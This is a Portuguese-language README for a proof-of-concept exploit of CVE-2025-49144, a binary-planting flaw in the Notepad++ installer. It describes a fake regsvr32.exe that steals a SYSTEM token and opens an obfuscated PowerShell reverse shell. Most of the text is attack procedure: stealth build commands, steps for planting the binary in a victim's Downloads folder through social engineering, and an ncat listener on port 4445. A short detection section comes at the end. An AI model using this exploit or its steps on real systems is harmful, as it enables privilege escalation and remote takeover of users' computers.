
PoC CVE-2025-49144
⚠️ APENAS PARA FINS EDUCACIONAIS
Este código foi desenvolvido para fins educacionais e de pesquisa para entender vulnerabilidades de binary planting. Use apenas em ambientes controlados e com a devida autorização.
Esta Prova de Conceito demonstra a vulnerabilidade de binary planting no instalador do Notepad++ (CVE-2025-49144) referenciada em GHSA-9vx8-v79m-6m24. A vulnerabilidade permite que um invasor obtenha privilégios de nível SYSTEM colocando um executável malicioso chamado regsvr32.exe no mesmo diretório do instalador do Notepad++.
regsvr32.exe maliciosoA PoC é composta por múltiplos componentes que trabalham em conjunto:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
| Arquivo | Finalidade | Linhas |
|---|---|---|
main.go | Ponto de entrada, gerencia a execução do regsvr32 | ~80 |
winbind.h | Cabeçalho principal com declarações de funções | ~45 |
main.c | Iniciador central do reverse shell e criação de processos destacados | ~75 |
shell.c | Gerenciador de shell com execução ofuscada do PowerShell | ~120 |
process.c | Aquisição de token e criação de processo SYSTEM | ~195 |
socket.c | Conexão de rede com TCP keep-alive | ~85 |
threads.c | Threads de I/O entre socket e pipes | ~60 |
utils.c | Validação de entrada e limitação de taxa | ~35 |
obfuscate.c | Técnicas de ofuscação do caminho do PowerShell | ~70 |
# Instalar Go (1.24+)
# Instalar MinGW-w64 para compilação CGO
# Instalar Git para controle de versão
# Clonar o repositório
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Compilar como executável (disfarçado de regsvr32.exe)
# Para máxima furtividade (remover informações de debug)
go build -ldflags="-s -w" -o regsvr32.exe
# Para desenvolvimento (com símbolos de debug)
go build -o regsvr32_debug.exe
# 1. Colocar o regsvr32.exe malicioso no mesmo diretório do instalador do Notepad++
# Normalmente a pasta Downloads, onde os usuários baixam o instalador
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. O usuário baixa o instalador oficial do Notepad++ para a pasta Downloads
# 3. Quando o usuário executa o instalador, ele procura por regsvr32.exe no diretório atual primeiro
# 4. O instalador encontra e executa nosso regsvr32.exe malicioso com privilégios de SYSTEM
# 5. Aguardar a conexão reversa do shell
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Baixar instalador do Notepad++
Attacker->>Downloads: Colocar regsvr32.exe malicioso (engenharia social)
User->>NotepadInstaller: Executar instalador da pasta Downloads
NotepadInstaller->>Downloads: Procurar por regsvr32.exe no diretório atual
Downloads->>MaliciousRegsvr32: Encontrar regsvr32.exe malicioso primeiro
NotepadInstaller->>MaliciousRegsvr32: Executar com privilégios de SYSTEM
MaliciousRegsvr32->>MaliciousRegsvr32: Criar processo destacado
MaliciousRegsvr32->>SystemProcess: Enumerar processos SYSTEM
SystemProcess->>MaliciousRegsvr32: Roubar token do winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Criar PowerShell com token SYSTEM
MaliciousRegsvr32->>Attacker: Estabelecer conexão reversa
MaliciousRegsvr32->>NotepadInstaller: Continuar com a funcionalidade legítima do regsvr32
Attacker->>SystemProcess: Executar comandos como SYSTEM
Binary Planting
Elevação de Privilégio
Mecanismos de Persistência
Programação de Rede
Programação CGO
# Monitorar uso suspeito de regsvr32
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Verificar conexões de rede incomuns
netstat -ano | findstr ":4445"
# Monitorar criação de processos
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}